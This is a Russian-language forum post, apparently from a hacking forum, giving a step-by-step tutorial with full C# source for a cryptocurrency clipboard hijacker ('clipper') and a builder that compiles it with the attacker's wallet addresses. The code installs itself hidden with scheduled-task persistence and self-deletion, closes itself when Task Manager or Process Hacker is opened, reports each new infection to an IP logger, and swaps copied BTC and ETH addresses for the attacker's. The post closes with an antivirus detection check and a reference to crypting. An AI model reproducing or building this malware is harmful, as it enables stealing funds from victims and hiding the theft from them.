Биткоин клиппер на C#

betonys

Member
Jessy J
Joined
Feb 2, 2019
Messages
536
Reaction score
68
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.

Билд

Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена

Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.

Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
Code:
static void Monitor() {
 while (true) {
  try {
   foreach(Process item in Process.GetProcesses())
   if (item.ProcessName.ToLower() == "taskmgr" ||
    item.ProcessName.ToLower() == "processhacker" ||
    item.ProcessName.ToLower() == "procexp")
    Environment.Exit(0);

   Thread.Sleep(500);
  } catch {}

 }
}

Переходим к Main. Задаем путь к файлу:
Code:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";

[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.



Устанавливаем клиппер если он не установлен:
Code:
if (!File.Exists(path)) {
 File.Copy(Assembly.GetEntryAssembly().Location, path);

 // Самоудаление и добавление в планировщик заданий

 ProcessStartInfo proc = new ProcessStartInfo();
 proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
 proc.WindowStyle = ProcessWindowStyle.Hidden;
 proc.CreateNoWindow = true;
 proc.FileName = "cmd.exe";

 // Ставим аттрибуты Скрытый и Системный на файл

 File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);

 // Стучим в IPLogger

 try {
  HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
  http.UserAgent = "New user!";
  http.GetResponse();
 } catch {}


 Process.Start(proc);
 Environment.Exit(0);

}

Запустим в новом потоке мониторинг процессов:

Code:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();

Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.

Code:
while (true) {
 string idat_old = string.Empty;
 string idat = string.Empty;

 Thread.Sleep(500);

 try {
  if (Clipboard.ContainsText()) {
   idat = Clipboard.GetText();

   if (idat != idat_old) {
    // Ищем в clipboard адреса и если находим заменяем

    if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet1]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }
    if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet2]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    } else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[ethwallet]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }

    idat_old = idat;
   }
  }
 } catch {}

}

С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.

Билдер

Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник

Создаем проект WindowsForms. По-быстрому набросаем форму:

TYQeFdQ.png



Переходим к коду. Добавим пару юзингов:
Code:
using Microsoft.CSharp;
using System.CodeDom.Compiler;

В обработчике кнопки пишем:
Code:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";

Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");

string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);


var settings = new Dictionary < string,
 string > ();
settings.Add("CompilerVersion", "v4.0");

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {

 foreach(CompilerError err in Results.Errors)
 MessageBox.Show(err.ToString()); //Вывод ошибок
}

MessageBox.Show("Done!", "Success");

Добавляем в ресурсы билдера сурс клиппера:
RQpoWlW.png


Компилируем билдер.
Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:

YaWkFIo.png
 
Top